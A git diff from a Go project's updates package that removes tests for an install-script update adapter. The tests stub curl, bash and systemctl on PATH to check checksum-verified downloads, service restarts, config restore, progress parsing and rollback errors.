b/internal/updates/adapter_installsh_exec_test.godeleted file mode 100644index 4c5bbc1c8d..0000000000--- a/internal/updates/adapter_installsh_exec_test.go+++ /dev/null@@ -1,185 +0,0 @@-package updates--import (- "context"- "crypto/sha256"- "encoding/hex"- "os"- "path/filepath"- "strings"- "testing"- "time"-)--func TestInstallShAdapter_DownloadBinary(t *testing.T) {- stubReleaseSignatureVerification(t)- tarball := filepath.Join(t.TempDir(), "pulse.tar.gz")- writeTarGz(t, tarball, map[string]string{- "bin/pulse": "binary",- })-- data, err := os.ReadFile(tarball)- if err != nil {- t.Fatalf("read tarball: %v", err)- }- sum := sha256.Sum256(data)- checksum := hex.EncodeToString(sum[:])-- dir := t.TempDir()- curl := filepath.Join(dir, "curl")- script := strings.Join([]string{- "#!/bin/sh",- `out=""`,- `url=""`,- `while [ "$#" -gt 0 ]; do`,- ` if [ "$1" = "-o" ]; then`,- ` out="$2"`,- ` shift 2`,- ` continue`,- ` fi`,- ` url="$1"`,- ` shift`,- `done`,- `if echo "$url" | grep -q ".sha256$"; then`,- ` echo "$PULSE_TEST_CHECKSUM pulse.tar.gz" > "$out"`,- `else`,- ` cat "$PULSE_TEST_TARBALL" > "$out"`,- `fi`,- ``,- }, "\n")- if err := os.WriteFile(curl, []byte(script), 0755); err != nil {- t.Fatalf("write curl stub: %v", err)- }-- t.Setenv("PATH", dir+string(os.PathListSeparator)+os.Getenv("PATH"))- t.Setenv("PULSE_TEST_TARBALL", tarball)- t.Setenv("PULSE_TEST_CHECKSUM", checksum)-- adapter := &InstallShAdapter{}- binaryPath, err := adapter.downloadBinary(context.Background(), "1.2.3")- if err != nil {- t.Fatalf("downloadBinary error: %v", err)- }- t.Cleanup(func() {- _ = os.RemoveAll(filepath.Dir(filepath.Dir(filepath.Dir(binaryPath))))- })-- payload, err := os.ReadFile(binaryPath)- if err != nil {- t.Fatalf("read binary: %v", err)- }- if string(payload) != "binary" {- t.Fatalf("unexpected binary content: %q", string(payload))- }-}--func TestInstallShAdapter_WaitForHealth(t *testing.T) {- dir := t.TempDir()- curl := filepath.Join(dir, "curl")- script := "#!/bin/sh\nexit 0\n"- if err := os.WriteFile(curl, []byte(script), 0755); err != nil {- t.Fatalf("write curl stub: %v", err)- }- t.Setenv("PATH", dir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{}- if err := adapter.waitForHealth(context.Background(), 200*time.Millisecond); err != nil {- t.Fatalf("waitForHealth error: %v", err)- }-}--func TestInstallShAdapter_ServiceCommands(t *testing.T) {- dir := t.TempDir()- systemctl := filepath.Join(dir, "systemctl")- script := "#!/bin/sh\nexit 0\n"- if err := os.WriteFile(systemctl, []byte(script), 0755); err != nil {- t.Fatalf("write systemctl stub: %v", err)- }- t.Setenv("PATH", dir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{}- if err := adapter.stopService(context.Background(), "pulse"); err != nil {- t.Fatalf("stopService error: %v", err)- }- if err := adapter.startService(context.Background(), "pulse"); err != nil {- t.Fatalf("startService error: %v", err)- }-}--func TestInstallShAdapter_RestoreConfig(t *testing.T) {- backupDir := filepath.Join(t.TempDir(), "backup")- targetDir := filepath.Join(t.TempDir(), "target")- if err := os.MkdirAll(backupDir, 0755); err != nil {- t.Fatalf("mkdir backup: %v", err)- }- if err := os.MkdirAll(targetDir, 0755); err != nil {- t.Fatalf("mkdir target: %v", err)- }- if err := os.WriteFile(filepath.Join(backupDir, "config.txt"), []byte("ok"), 0600); err != nil {- t.Fatalf("write backup file: %v", err)- }- if err := os.WriteFile(filepath.Join(targetDir, "old.txt"), []byte("old"), 0600); err != nil {- t.Fatalf("write target file: %v", err)- }-- adapter := &InstallShAdapter{}- if err := adapter.restoreConfig(context.Background(), backupDir, targetDir); err != nil {- t.Fatalf("restoreConfig error: %v", err)- }-- if _, err := os.Stat(filepath.Join(targetDir, "config.txt")); err != nil {- t.Fatalf("expected restored file: %v", err)- }- if _, err := os.Stat(filepath.Join(targetDir, "old.txt")); err == nil {- t.Fatal("expected old file to be removed")- }-}--func TestResolveRollbackConfigDirUsesCanonicalRuntimeDataDir(t *testing.T) {- envDir := t.TempDir()- t.Setenv("PULSE_DATA_DIR", envDir)-- if got := resolveRollbackConfigDir(); got != envDir {- t.Fatalf("resolveRollbackConfigDir() = %q, want %q", got, envDir)- }-}--func TestInstallShAdapter_InstallBinary(t *testing.T) {- dir := t.TempDir()- source := filepath.Join(dir, "source")- if err := os.WriteFile(source, []byte("payload"), 0600); err != nil {- t.Fatalf("write source: %v", err)- }-- targetDir := filepath.Join(dir, "bin")- if err := os.MkdirAll(targetDir, 0755); err != nil {- t.Fatalf("mkdir target: %v", err)- }- target := filepath.Join(targetDir, "pulse")- if err := os.WriteFile(target, []byte("old"), 0600); err != nil {- t.Fatalf("write target: %v", err)- }-- chownDir := t.TempDir()- chown := filepath.Join(chownDir, "chown")- if err := os.WriteFile(chown, []byte("#!/bin/sh\nexit 0\n"), 0755); err != nil {- t.Fatalf("write chown stub: %v", err)- }- t.Setenv("PATH", chownDir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{}- if err := adapter.installBinary(context.Background(), source, target); err != nil {- t.Fatalf("installBinary error: %v", err)- }-- if _, err := os.Stat(target + ".pre-rollback"); err != nil {- t.Fatalf("expected backup file: %v", err)- }- content, err := os.ReadFile(target)- if err != nil {- t.Fatalf("read target: %v", err)- }- if string(content) != "payload" {- t.Fatalf("unexpected target content: %q", string(content))- }-}diff --git a/internal/updates/adapter_installsh_execute_test.go b/internal/updates/adapter_installsh_execute_test.godeleted file mode 100644index 49f20b6841..0000000000--- a/internal/updates/adapter_installsh_execute_test.go+++ /dev/null@@ -1,178 +0,0 @@-package updates--import (- "context"- "crypto/sha256"- "encoding/hex"- "os"- "path/filepath"- "strings"- "testing"-)--func setupInstallShCurlStub(t *testing.T, content string) string {- t.Helper()- sum := sha256.Sum256([]byte(content))- checksum := hex.EncodeToString(sum[:])-- dir := t.TempDir()- curl := filepath.Join(dir, "curl")- script := strings.Join([]string{- "#!/bin/sh",- `out=""`,- `url=""`,- `while [ "$#" -gt 0 ]; do`,- ` if [ "$1" = "-o" ]; then`,- ` out="$2"`,- ` shift 2`,- ` continue`,- ` fi`,- ` url="$1"`,- ` shift`,- `done`,- `if echo "$url" | grep -q ".sha256$"; then`,- ` echo "` + checksum + ` install.sh" > "$out"`,- `else`,- ` printf '%s' "` + content + `" > "$out"`,- `fi`,- ``,- }, "\n")- if err := os.WriteFile(curl, []byte(script), 0755); err != nil {- t.Fatalf("write curl stub: %v", err)- }-- return dir-}--func setupBashStub(t *testing.T) string {- t.Helper()- dir := t.TempDir()- bash := filepath.Join(dir, "bash")- script := strings.Join([]string{- "#!/bin/sh",- "cat >/dev/null",- "echo \"Backup: /tmp/backup\"",- "echo \"Installing\"",- "echo \"Success\"",- "exit 0",- "",- }, "\n")- if err := os.WriteFile(bash, []byte(script), 0755); err != nil {- t.Fatalf("write bash stub: %v", err)- }- return dir-}--func setupBashArgCaptureStub(t *testing.T, argsFile string) string {- t.Helper()- dir := t.TempDir()- bash := filepath.Join(dir, "bash")- script := strings.Join([]string{- "#!/bin/sh",- `printf '%s\n' "$@" > "$BASH_ARGS_FILE"`,- "cat >/dev/null",- "echo \"Backup: /tmp/backup\"",- "echo \"Installing\"",- "echo \"Success\"",- "exit 0",- "",- }, "\n")- if err := os.WriteFile(bash, []byte(script), 0755); err != nil {- t.Fatalf("write bash stub: %v", err)- }- t.Setenv("BASH_ARGS_FILE", argsFile)- return dir-}--func TestInstallShAdapterExecuteSuccess(t *testing.T) {- stubReleaseSignatureVerification(t)- scriptContent := "echo ok"- curlDir := setupInstallShCurlStub(t, scriptContent)- bashDir := setupBashStub(t)-- t.Setenv("PATH", strings.Join([]string{curlDir, bashDir, os.Getenv("PATH")}, string(os.PathListSeparator)))-- adapter := &InstallShAdapter{- installScriptURL: "http://example/install.sh",- logDir: t.TempDir(),- }-- var updates []UpdateProgress- progress := func(p UpdateProgress) {- updates = append(updates, p)- }-- err := adapter.Execute(context.Background(), UpdateRequest{Version: "v1.2.3"}, progress)- if err != nil {- t.Fatalf("Execute error: %v", err)- }- if len(updates) == 0 {- t.Fatal("expected progress updates")- }- foundCompleted := false- for _, progress := range updates {- if progress.Stage == "completed" && progress.IsComplete {- foundCompleted = true- break- }- }- if !foundCompleted {- t.Fatalf("expected completed progress, got %+v", updates)- }-}--func TestInstallShAdapterExecuteInvalidVersion(t *testing.T) {- stubReleaseSignatureVerification(t)- scriptContent := "echo ok"- curlDir := setupInstallShCurlStub(t, scriptContent)- t.Setenv("PATH", curlDir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{- installScriptURL: "http://example/install.sh",- logDir: t.TempDir(),- }-- err := adapter.Execute(context.Background(), UpdateRequest{Version: "bad version"}, func(UpdateProgress) {})- if err == nil {- t.Fatal("expected error for invalid version")- }- if !strings.Contains(err.Error(), "invalid version format") {- t.Fatalf("unexpected error: %v", err)- }-}--func TestInstallShAdapterExecuteForceDoesNotPassUnsupportedFlag(t *testing.T) {- stubReleaseSignatureVerification(t)- scriptContent := "echo ok"- curlDir := setupInstallShCurlStub(t, scriptContent)- argsFile := filepath.Join(t.TempDir(), "bash-args.txt")- bashDir := setupBashArgCaptureStub(t, argsFile)-- t.Setenv("PATH", strings.Join([]string{curlDir, bashDir, os.Getenv("PATH")}, string(os.PathListSeparator)))-- adapter := &InstallShAdapter{- installScriptURL: "http://example/install.sh",- logDir: t.TempDir(),- }-- err := adapter.Execute(context.Background(), UpdateRequest{- Version: "v1.2.3",- Force: true,- }, func(UpdateProgress) {})- if err != nil {- t.Fatalf("Execute error: %v", err)- }-- argsBytes, err := os.ReadFile(argsFile)- if err != nil {- t.Fatalf("read args file: %v", err)- }- args := strings.Fields(string(argsBytes))- if strings.Contains(strings.Join(args, " "), "--force") {- t.Fatalf("install.sh adapter passed unsupported --force flag: %v", args)- }- want := []string{"-s", "--", "--version", "v1.2.3"}- if strings.Join(args, " ") != strings.Join(want, " ") {- t.Fatalf("bash args = %v, want %v", args, want)- }-}diff --git a/internal/updates/adapter_installsh_extra_test.go b/internal/updates/adapter_installsh_extra_test.godeleted file mode 100644index 66367f615d..0000000000--- a/internal/updates/adapter_installsh_extra_test.go+++ /dev/null@@ -1,261 +0,0 @@-package updates--import (- "context"- "crypto/sha256"- "fmt"- "os"- "os/exec"- "path/filepath"- "strings"- "testing"- "time"-)--func writeCurlStub(t *testing.T, dir string) {- t.Helper()-- cpPath, err := exec.LookPath("cp")- if err != nil {- t.Fatalf("find cp: %v", err)- }-- script := fmt.Sprintf(`#!/bin/sh-set -e-out=""-url=""-while [ "$#" -gt 0 ]; do- case "$1" in- -o) out="$2"; shift 2;;- *) url="$1"; shift;;- esac-done-if [ -z "$out" ]; then- exit 1-fi-if echo "$url" | grep -q "\.sha256$"; then- exec %s "$PULSE_TEST_SHA" "$out"-fi-exec %s "$PULSE_TEST_FILE" "$out"-`, cpPath, cpPath)-- writeStub(t, dir, "curl", script)-}--func TestInstallShAdapterDetectServiceName(t *testing.T) {- stubDir := t.TempDir()- writeStub(t, stubDir, "systemctl", `#!/bin/sh-if [ "$1" = "is-active" ] && [ "$2" = "pulse-backend" ]; then- echo "active"- exit 0-fi-exit 1-`)- t.Setenv("PATH", stubDir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{}- name, err := adapter.detectServiceName()- if err != nil {- t.Fatalf("detectServiceName error: %v", err)- }- if name != "pulse-backend" {- t.Fatalf("expected pulse-backend, got %s", name)- }-- writeStub(t, stubDir, "systemctl", `#!/bin/sh-echo "inactive"-exit 0-`)- name, err = adapter.detectServiceName()- if err != nil {- t.Fatalf("detectServiceName error: %v", err)- }- if name != "pulse" {- t.Fatalf("expected default pulse, got %s", name)- }-}--func TestInstallShAdapterDownloadInstallScript(t *testing.T) {- stubReleaseSignatureVerification(t)- content := []byte("#!/bin/sh\necho ok\n")- sum := sha256.Sum256(content)-- tmpDir := t.TempDir()- scriptPath := filepath.Join(tmpDir, "install.sh")- if err := os.WriteFile(scriptPath, content, 0600); err != nil {- t.Fatalf("write install.sh: %v", err)- }- checksumPath := filepath.Join(tmpDir, "install.sh.sha256")- if err := os.WriteFile(checksumPath, []byte(fmt.Sprintf("%x install.sh\n", sum)), 0600); err != nil {- t.Fatalf("write checksum: %v", err)- }-- stubDir := t.TempDir()- writeCurlStub(t, stubDir)- t.Setenv("PATH", stubDir+string(os.PathListSeparator)+os.Getenv("PATH"))- t.Setenv("PULSE_TEST_FILE", scriptPath)- t.Setenv("PULSE_TEST_SHA", checksumPath)-- adapter := NewInstallShAdapter(nil)- got, err := adapter.downloadInstallScript(context.Background(), "")- if err != nil {- t.Fatalf("downloadInstallScript error: %v", err)- }- if got != string(content) {- t.Fatalf("unexpected script content: %q", got)- }-- if err := os.WriteFile(checksumPath, []byte("deadbeef"), 0600); err != nil {- t.Fatalf("write checksum: %v", err)- }- if _, err := adapter.downloadInstallScript(context.Background(), ""); err == nil {- t.Fatalf("expected checksum error")- }-}--func TestInstallShAdapterDownloadBinary(t *testing.T) {- stubReleaseSignatureVerification(t)- extractDir := t.TempDir()- tarball := filepath.Join(extractDir, "pulse-v1.2.3-linux-amd64.tar.gz")- writeTarGz(t, tarball, map[string]string{- "bin/pulse": "binary",- })-- data, err := os.ReadFile(tarball)- if err != nil {- t.Fatalf("read tarball: %v", err)- }- sum := sha256.Sum256(data)- checksumPath := tarball + ".sha256"- if err := os.WriteFile(checksumPath, []byte(fmt.Sprintf("%x %s\n", sum, filepath.Base(tarball))), 0600); err != nil {- t.Fatalf("write checksum: %v", err)- }-- stubDir := t.TempDir()- writeCurlStub(t, stubDir)- t.Setenv("PATH", stubDir+string(os.PathListSeparator)+os.Getenv("PATH"))- t.Setenv("PULSE_TEST_FILE", tarball)- t.Setenv("PULSE_TEST_SHA", checksumPath)-- adapter := &InstallShAdapter{}- binaryPath, err := adapter.downloadBinary(context.Background(), "1.2.3")- if err != nil {- t.Fatalf("downloadBinary error: %v", err)- }- got, err := os.ReadFile(binaryPath)- if err != nil {- t.Fatalf("read binary: %v", err)- }- if string(got) != "binary" {- t.Fatalf("unexpected binary content: %q", string(got))- }-- if err := os.WriteFile(checksumPath, []byte("deadbeef"), 0600); err != nil {- t.Fatalf("write checksum: %v", err)- }- if _, err := adapter.downloadBinary(context.Background(), "1.2.3"); err == nil {- t.Fatalf("expected checksum mismatch error")- }-}--func TestInstallShAdapterReadLastLines(t *testing.T) {- adapter := &InstallShAdapter{}- if adapter.readLastLines(filepath.Join(t.TempDir(), "missing"), 2) != "" {- t.Fatalf("expected empty for missing file")- }-- path := filepath.Join(t.TempDir(), "log.txt")- if err := os.WriteFile(path, []byte("a\nb\nc\n"), 0600); err != nil {- t.Fatalf("write log: %v", err)- }- got := adapter.readLastLines(path, 2)- if got != "b\nc" {- t.Fatalf("unexpected lines: %q", got)- }- if adapter.readLastLines(path, 0) != "" {- t.Fatalf("expected empty for zero lines")- }-}--func TestInstallShAdapterRestoreConfigAndInstallBinary(t *testing.T) {- cpPath, err := exec.LookPath("cp")- if err != nil {- t.Fatalf("find cp: %v", err)- }- stubDir := t.TempDir()- writeStub(t, stubDir, "cp", fmt.Sprintf("#!/bin/sh\nexec %s \"$@\"\n", cpPath))- writeStub(t, stubDir, "chown", "#!/bin/sh\nexit 0\n")- t.Setenv("PATH", stubDir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{}-- srcDir := filepath.Join(t.TempDir(), "backup")- destDir := filepath.Join(t.TempDir(), "config")- if err := os.MkdirAll(srcDir, 0755); err != nil {- t.Fatalf("mkdir src: %v", err)- }- if err := os.WriteFile(filepath.Join(srcDir, "app.conf"), []byte("ok"), 0600); err != nil {- t.Fatalf("write src file: %v", err)- }- if err := os.MkdirAll(destDir, 0755); err != nil {- t.Fatalf("mkdir dest: %v", err)- }-- if err := adapter.restoreConfig(context.Background(), srcDir, destDir); err != nil {- t.Fatalf("restoreConfig error: %v", err)- }- if _, err := os.Stat(filepath.Join(destDir, "app.conf")); err != nil {- t.Fatalf("expected config restored: %v", err)- }-- srcBinary := filepath.Join(t.TempDir(), "pulse")- if err := os.WriteFile(srcBinary, []byte("bin"), 0755); err != nil {- t.Fatalf("write source binary: %v", err)- }- targetBinary := filepath.Join(t.TempDir(), "pulse")- if err := os.WriteFile(targetBinary, []byte("old"), 0755); err != nil {- t.Fatalf("write target binary: %v", err)- }-- if err := adapter.installBinary(context.Background(), srcBinary, targetBinary); err != nil {- t.Fatalf("installBinary error: %v", err)- }- if _, err := os.Stat(targetBinary + ".pre-rollback"); err != nil {- t.Fatalf("expected backup binary: %v", err)- }-}--func TestInstallShAdapterWaitForHealth(t *testing.T) {- stubDir := t.TempDir()- writeStub(t, stubDir, "curl", "#!/bin/sh\nexit 0\n")- t.Setenv("PATH", stubDir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{}- if err := adapter.waitForHealth(context.Background(), time.Second); err != nil {- t.Fatalf("waitForHealth success error: %v", err)- }-- writeStub(t, stubDir, "curl", "#!/bin/sh\nexit 1\n")- ctx, cancel := context.WithCancel(context.Background())- cancel()- if err := adapter.waitForHealth(ctx, time.Second); err == nil || !strings.Contains(err.Error(), "canceled") {- t.Fatalf("expected context error, got %v", err)- }-- if err := adapter.waitForHealth(context.Background(), 0); err == nil {- t.Fatalf("expected timeout error")- }-}--func TestInstallShAdapterExecuteRollbackDownloadError(t *testing.T) {- stubDir := t.TempDir()- writeStub(t, stubDir, "systemctl", "#!/bin/sh\nexit 0\n")- writeStub(t, stubDir, "curl", "#!/bin/sh\nexit 1\n")- t.Setenv("PATH", stubDir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{}- entry := &UpdateHistoryEntry{BackupPath: t.TempDir()}- if err := adapter.executeRollback(context.Background(), entry, "1.2.3"); err == nil {- t.Fatalf("expected download error")- }-}diff --git a/internal/updates/adapter_installsh_helpers_test.go b/internal/updates/adapter_installsh_helpers_test.godeleted file mode 100644index 78b25b45c6..0000000000--- a/internal/updates/adapter_installsh_helpers_test.go+++ /dev/null@@ -1,111 +0,0 @@-package updates--import (- "context"- "crypto/sha256"- "encoding/hex"- "os"- "path/filepath"- "strings"- "testing"-)--func TestInstallShAdapter_DetectServiceName(t *testing.T) {- dir := t.TempDir()- systemctl := filepath.Join(dir, "systemctl")- script := `#!/bin/sh-if [ "$1" = "is-active" ] && [ "$2" = "pulse-backend" ]; then- echo "active"- exit 0-fi-echo "inactive"-exit 0-`- if err := os.WriteFile(systemctl, []byte(script), 0755); err != nil {- t.Fatalf("write systemctl: %v", err)- }-- t.Setenv("PATH", dir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{}- name, err := adapter.detectServiceName()- if err != nil {- t.Fatalf("detectServiceName error: %v", err)- }- if name != "pulse-backend" {- t.Fatalf("expected pulse-backend, got %q", name)- }-}--func TestInstallShAdapter_DownloadInstallScript(t *testing.T) {- stubReleaseSignatureVerification(t)- content := "echo hi"- sum := sha256.Sum256([]byte(content))- checksum := hex.EncodeToString(sum[:])-- dir := t.TempDir()- curl := filepath.Join(dir, "curl")- script := strings.Join([]string{- "#!/bin/sh",- `out=""`,- `url=""`,- `while [ "$#" -gt 0 ]; do`,- ` if [ "$1" = "-o" ]; then`,- ` out="$2"`,- ` shift 2`,- ` continue`,- ` fi`,- ` url="$1"`,- ` shift`,- `done`,- `if echo "$url" | grep -q ".sha256$"; then`,- ` echo "` + checksum + ` install.sh" > "$out"`,- `else`,- ` printf '%s' "` + content + `" > "$out"`,- `fi`,- ``,- }, "\n")- if err := os.WriteFile(curl, []byte(script), 0755); err != nil {- t.Fatalf("write curl: %v", err)- }- t.Setenv("PATH", dir+string(os.PathListSeparator)+os.Getenv("PATH"))-- adapter := &InstallShAdapter{installScriptURL: "http://example/install.sh"}- out, err := adapter.downloadInstallScript(context.Background(), "")- if err != nil {- t.Fatalf("downloadInstallScript error: %v", err)- }- if out != content {- t.Fatalf("unexpected script content: %q", out)- }-}--func TestInstallShAdapter_InstallScriptURLForVersion(t *testing.T) {- adapter := NewInstallShAdapter(nil)- got := adapter.installScriptURLForVersion("v1.2.3")- want := "https://github.com/rcourtman/Pulse/releases/download/v1.2.3/install.sh"- if got != want {- t.Fatalf("installScriptURLForVersion() = %q, want %q", got, want)- }-- custom := &InstallShAdapter{installScriptURL: "http://example/install.sh"}- if got := custom.installScriptURLForVersion("v1.2.3"); got != "http://example/install.sh" {- t.Fatalf("custom installScriptURLForVersion() = %q, want custom URL", got)- }-}--func TestInstallShReleaseAssetURLUsesConfiguredRepo(t *testing.T) {- t.Setenv("PULSE_GITHUB_REPO", "example/pulse-fork")-- if got := defaultInstallScriptLatestURL(); got != "https://github.com/example/pulse-fork/releases/latest/download/install.sh" {- t.Fatalf("defaultInstallScriptLatestURL() = %q", got)- }-- if got := installShReleaseAssetURL("v1.2.3", "install.sh"); got != "https://github.com/example/pulse-fork/releases/download/v1.2.3/install.sh" {- t.Fatalf("installShReleaseAssetURL() = %q", got)- }-- if got := installShReleaseAssetURL("v1.2.3", "pulse-v1.2.3-linux-amd64.tar.gz"); got != "https://github.com/example/pulse-fork/releases/download/v1.2.3/pulse-v1.2.3-linux-amd64.tar.gz" {- t.Fatalf("installShReleaseAssetURL() tarball = %q", got)- }-}diff --git a/internal/updates/adapter_installsh_more_test.go b/internal/updates/adapter_installsh_more_test.goindex 01a018adc0..d537714092 100644--- a/internal/updates/adapter_installsh_more_test.go+++ b/internal/updates/adapter_installsh_more_test.go@@ -2,8 +2,6 @@ package updatesimport ("context"- "path/filepath"- "strings""testing")@@ -17,7 +15,7 @@ func containsString(values []string, needle string) bool {}func TestInstallShAdapter_PrepareUpdate(t *testing.T) {- adapter := NewInstallShAdapter(nil)+ adapter := NewInstallShAdapter()plan, err := adapter.PrepareUpdate(context.Background(), UpdateRequest{Version: "v1.2.3"})if err != nil {@@ -33,58 +31,3 @@ func TestInstallShAdapter_PrepareUpdate(t *testing.T) {t.Fatalf("expected update staging disk prerequisite, got %+v", plan.Prerequisites)}}--func TestInstallShAdapter_RollbackErrors(t *testing.T) {- history, err := NewUpdateHistory(t.TempDir())- if err != nil {- t.Fatalf("NewUpdateHistory error: %v", err)- }- adapter := NewInstallShAdapter(history)- ctx := context.Background()-- if err := adapter.Rollback(ctx, "missing"); err == nil {- t.Fatal("expected error for missing history entry")- }-- eventNoBackup, err := history.CreateEntry(ctx, UpdateHistoryEntry{- Action: "update",- Status: StatusSuccess,- VersionFrom: "v1.0.0",- VersionTo: "v1.1.0",- })- if err != nil {- t.Fatalf("CreateEntry error: %v", err)- }- if err := adapter.Rollback(ctx, eventNoBackup); err == nil || !strings.Contains(err.Error(), "no backup path") {- t.Fatalf("expected backup path error, got %v", err)- }-- eventMissingBackup, err := history.CreateEntry(ctx, UpdateHistoryEntry{- Action: "update",- Status: StatusSuccess,- VersionFrom: "v1.0.0",- VersionTo: "v1.1.0",- BackupPath: filepath.Join(t.TempDir(), "missing"),- })- if err != nil {- t.Fatalf("CreateEntry error: %v", err)- }- if err := adapter.Rollback(ctx, eventMissingBackup); err == nil || !strings.Contains(err.Error(), "backup not found") {- t.Fatalf("expected backup not found error, got %v", err)- }-- backupDir := t.TempDir()- eventNoTarget, err := history.CreateEntry(ctx, UpdateHistoryEntry{- Action: "update",- Status: StatusSuccess,- VersionFrom: "",- VersionTo: "v1.1.0",- BackupPath: backupDir,- })- if err != nil {- t.Fatalf("CreateEntry error: %v", err)- }- if err := adapter.Rollback(ctx, eventNoTarget); err == nil || !strings.Contains(err.Error(), "no target version") {- t.Fatalf("expected target version error, got %v", err)- }-}diff --git a/internal/updates/adapter_installsh_test.go b/internal/updates/adapter_installsh_test.goindex a0f183b37b..62f0c207d6 100644--- a/internal/updates/adapter_installsh_test.go+++ b/internal/updates/adapter_installsh_test.go@@ -2,399 +2,9 @@ package updatesimport ("context"- "os"- "path/filepath"- "regexp""testing")-func TestInstallShAdapter_ParseProgress(t *testing.T) {- adapter := &InstallShAdapter{}-- tests := []struct {- name string- line string- wantStage string- wantProgress int- wantMessage string- wantIsComplete bool- }{- // Downloading stage- {- name: "downloading lowercase",- line: "downloading pulse binary...",- wantStage: "downloading",- wantProgress: 30,- wantMessage: "Downloading update...",- },- {- name: "downloading uppercase",- line: "DOWNLOADING files from GitHub",- wantStage: "downloading",- wantProgress: 30,- wantMessage: "Downloading update...",- },- {- name: "downloading mixed case",- line: "Downloading release v1.2.3",- wantStage: "downloading",- wantProgress: 30,- wantMessage: "Downloading update...",- },-- // Extracting stage- {- name: "extracting lowercase",- line: "extracting tarball...",- wantStage: "extracting",- wantProgress: 40,- wantMessage: "Extracting files...",- },- {- name: "extracting in sentence",- line: "Now extracting the archive to /opt/pulse",- wantStage: "extracting",- wantProgress: 40,- wantMessage: "Extracting files...",- },-- // Installing stage- {- name: "installing lowercase",- line: "installing pulse binary...",- wantStage: "installing",- wantProgress: 60,- wantMessage: "Installing...",- },- {- name: "installing uppercase",- line: "INSTALLING to /opt/pulse/bin",- wantStage: "installing",- wantProgress: 60,- wantMessage: "Installing...",- },-- // Backup stage- {- name: "backup lowercase",- line: "backup created at /etc/pulse.bak",- wantStage: "backing-up",- wantProgress: 25,- wantMessage: "Creating backup...",- },- {- name: "backup with path",- line: "Creating backup: /var/backup/pulse-20231201",- wantStage: "backing-up",- wantProgress: 25,- wantMessage: "Creating backup...",- },-- // Configuring stage- {- name: "configuring lowercase",- line: "configuring systemd service...",- wantStage: "configuring",- wantProgress: 70,- wantMessage: "Configuring...",- },- {- name: "configuration partial match",- line: "configuration files updated",- wantStage: "configuring",- wantProgress: 70,- wantMessage: "Configuring...",- },-- // Restarting stage- {- name: "restart lowercase",- line: "restart pulse service...",- wantStage: "restarting",- wantProgress: 90,- wantMessage: "Restarting service...",- },- {- name: "restarting",- line: "restarting the pulse service",- wantStage: "restarting",- wantProgress: 90,- wantMessage: "Restarting service...",- },-- // Completed stage- {- name: "completed lowercase",- line: "update completed",- wantStage: "completed",- wantProgress: 100,- wantMessage: "Update completed",- wantIsComplete: true,- },- {- name: "complete partial",- line: "Installation complete!",- wantStage: "completed",- wantProgress: 100,- wantMessage: "Update completed",- wantIsComplete: true,- },- {- name: "success",- line: "success: pulse has been updated",- wantStage: "completed",- wantProgress: 100,- wantMessage: "Update completed",- wantIsComplete: true,- },- {- name: "successfully",- line: "Pulse updated successfully!",- wantStage: "completed",- wantProgress: 100,- wantMessage: "Update completed",- wantIsComplete: true,- },-- // No match cases- {- name: "empty string",- line: "",- wantStage: "",- wantProgress: 0,- wantMessage: "",- },- {- name: "unrelated output",- line: "checking permissions...",- wantStage: "",- wantProgress: 0,- wantMessage: "",- },- {- name: "version info",- line: "Current version: v1.2.3",- wantStage: "",- wantProgress: 0,- wantMessage: "",- },- {- name: "random log line",- line: "2024-01-01 12:00:00 INFO Starting update process",- wantStage: "",- wantProgress: 0,- wantMessage: "",- },-- // Note: map iteration order is not guaranteed, so when multiple- // patterns match, any of them could be returned. This tests the- // behavior for lines that only match one pattern.- {- name: "only downloading matches",- line: "downloading files from server",- wantStage: "downloading",- wantProgress: 30,- wantMessage: "Downloading update...",- },- }-- for _, tc := range tests {- t.Run(tc.name, func(t *testing.T) {- result := adapter.parseProgress(tc.line)-- if result.Stage != tc.wantStage {- t.Errorf("Stage = %q, want %q", result.Stage, tc.wantStage)- }- if result.Progress != tc.wantProgress {- t.Errorf("Progress = %d, want %d", result.Progress, tc.wantProgress)- }- if result.Message != tc.wantMessage {- t.Errorf("Message = %q, want %q", result.Message, tc.wantMessage)- }- if result.IsComplete != tc.wantIsComplete {- t.Errorf("IsComplete = %v, want %v", result.IsComplete, tc.wantIsComplete)- }- })- }-}--func TestInstallShAdapter_ReadLastLines(t *testing.T) {- adapter := &InstallShAdapter{}-- tests := []struct {- name string- content string- n int- expected string- }{- {- name: "read last 3 lines from 5 line file",- content: "line1\nline2\nline3\nline4\nline5",- n: 3,- expected: "line3\nline4\nline5",- },- {- name: "read last 5 lines from 3 line file",- content: "line1\nline2\nline3",- n: 5,- expected: "line1\nline2\nline3",- },- {- name: "read last 1 line",- content: "line1\nline2\nline3",- n: 1,- expected: "line3",- },- {- name: "read last 0 lines returns empty",- content: "line1\nline2\nline3",- n: 0,- expected: "",- },- {- name: "empty file",- content: "",- n: 5,- expected: "",- },- {- name: "single line file",- content: "only line",- n: 3,- expected: "only line",- },- {- name: "file with trailing newline",- content: "line1\nline2\nline3\n",- n: 2,- expected: "line2\nline3",- },- {- name: "large n value",- content: "a\nb\nc",- n: 1000,- expected: "a\nb\nc",- },- {- name: "negative n returns empty",- content: "line1\nline2",- n: -1,- expected: "",- },- {- name: "lines with special characters",- content: "error: failed!\nwarning: [WARN]\ninfo: done",- n: 2,- expected: "warning: [WARN]\ninfo: done",- },- }-- for _, tc := range tests {- t.Run(tc.name, func(t *testing.T) {- // Create temp file with content- tmpDir := t.TempDir()- tmpFile := filepath.Join(tmpDir, "test.log")-- if tc.content != "" {- if err := os.WriteFile(tmpFile, []byte(tc.content), 0644); err != nil {- t.Fatalf("Failed to create test file: %v", err)- }- } else {- // Create empty file- f, err := os.Create(tmpFile)- if err != nil {- t.Fatalf("Failed to create test file: %v", err)- }- f.Close()- }-- result := adapter.readLastLines(tmpFile, tc.n)-- if result != tc.expected {- t.Errorf("readLastLines() = %q, want %q", result, tc.expected)- }- })- }-}--func TestInstallShAdapter_ReadLastLines_FileNotFound(t *testing.T) {- adapter := 